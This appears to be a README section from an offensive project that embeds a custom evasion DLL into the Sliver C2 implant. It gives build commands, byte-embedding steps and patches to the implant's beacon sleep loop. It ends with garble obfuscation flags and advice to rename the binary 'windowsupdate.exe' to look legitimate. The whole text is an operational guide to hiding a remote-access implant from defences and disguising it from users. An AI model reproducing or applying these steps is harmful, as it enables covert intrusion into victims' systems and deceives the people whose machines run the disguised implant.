## embed the dll

build the dll first:
```
cd evasion && zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
```

this produces `evasion/zig-out/bin/valak.dll`. convert it to a go byte slice:

```bash
xxd -i valak.dll | sed 's/unsigned char.*/var embeddedDLL = []byte{/' | sed 's/};/}/'
```

or just open `go-bridge/embed_dll.go` and paste the bytes manually. the file starts with:

```go
var embeddedDLL = []byte{
    0x4d, 0x5a, 0x90, 0x00, ...
}
```

replace the `...` with the actual dll bytes.

## drop into sliver

copy `go-bridge/` into `implant/sliver/evasion/valak/`

## wire it up

in `runner.go`, add the import:
```go
import "github.com/BishopFox/sliver/implant/sliver/evasion/valak"
```

in `Run()`, call this at the top:
```go
valak.Bootstrap()
```

replace the beacon sleep block (around line 294):
```go
// before
select {
case <-errors:
    return err
case <-time.After(duration):
case <-shortCircuit:
}

// after
select {
case err := <-errors:
    return err
case <-shortCircuit:
default:
    valak.EvasionSleep(duration)
}
```

on shutdown call:
```go
valak.Cleanup()
```

## build the implant

```bash
garble -tiny -literals -seed=random build -tags evasion -ldflags="-s -w -H windowsgui"
```

rename the binary to something legit like `windowsupdate.exe`